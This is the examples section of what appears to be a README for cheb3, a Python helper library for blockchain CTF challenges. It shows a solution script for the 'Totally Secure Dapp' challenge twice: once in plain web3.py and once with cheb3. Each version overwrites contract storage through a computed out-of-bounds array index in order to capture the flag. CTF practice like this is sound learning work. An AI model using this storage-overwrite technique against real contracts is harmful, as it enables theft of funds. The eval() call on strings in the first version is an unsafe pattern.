Examples

Without cheb3, you might write code like this:

# https://yanhuijessica.github.io/Chictf-Writeups/blockchain/static/totally-secure-dapp.zip

from web3 import Web3
import json

def transact(func, gas=1000000, gas_price=None):
    tx = account.sign_transaction(eval(func).build_transaction({
        'chainId': w3.eth.chain_id,
        'nonce': w3.eth.get_transaction_count(account.address),
        'gas': gas,
        'gasPrice': gas_price if gas_price else w3.eth.gas_price,
    })).raw_transaction
    tx_hash = w3.eth.send_raw_transaction(tx).hex()
    return w3.eth.wait_for_transaction_receipt(tx_hash)

w3 = Web3(Web3.HTTPProvider("<rpc-url>"))
account = w3.eth.account.from_key("<private-key>")

challenge_addr = "<contract-address>"

abi = json.loads(open("abi.json").read())
challenge = w3.eth.contract(address=challenge_addr, abi=abi)

transact("challenge.functions.removePost(1)")

index = 2**256 - int(Web3.solidity_keccak(['uint256'], [3]).hex(), 16) + 2
transact(f"challenge.functions.editPost({index}, 'unimportant', 'unimportant')")

transact("challenge.functions.captureFlag()")

With cheb3, you can write code like this:

from web3 import Web3
from cheb3 import Connection
from cheb3.utils import load_compiled

conn = Connection("<rpc-url>")
account = conn.account("<private-key>")

challenge_addr = "<contract-address>"

abi, _ = load_compiled("TotallySecureDapp.sol")
challenge = conn.contract(account, challenge_addr, abi=abi)

challenge.functions.removePost(1).send_transaction()

index = 2**256 - int(Web3.solidity_keccak(['uint256'], [3]).hex(), 16) + 2
challenge.functions.editPost(index, "unimportant", "unimportant").send_transaction()

challenge.functions.captureFlag().send_transaction()
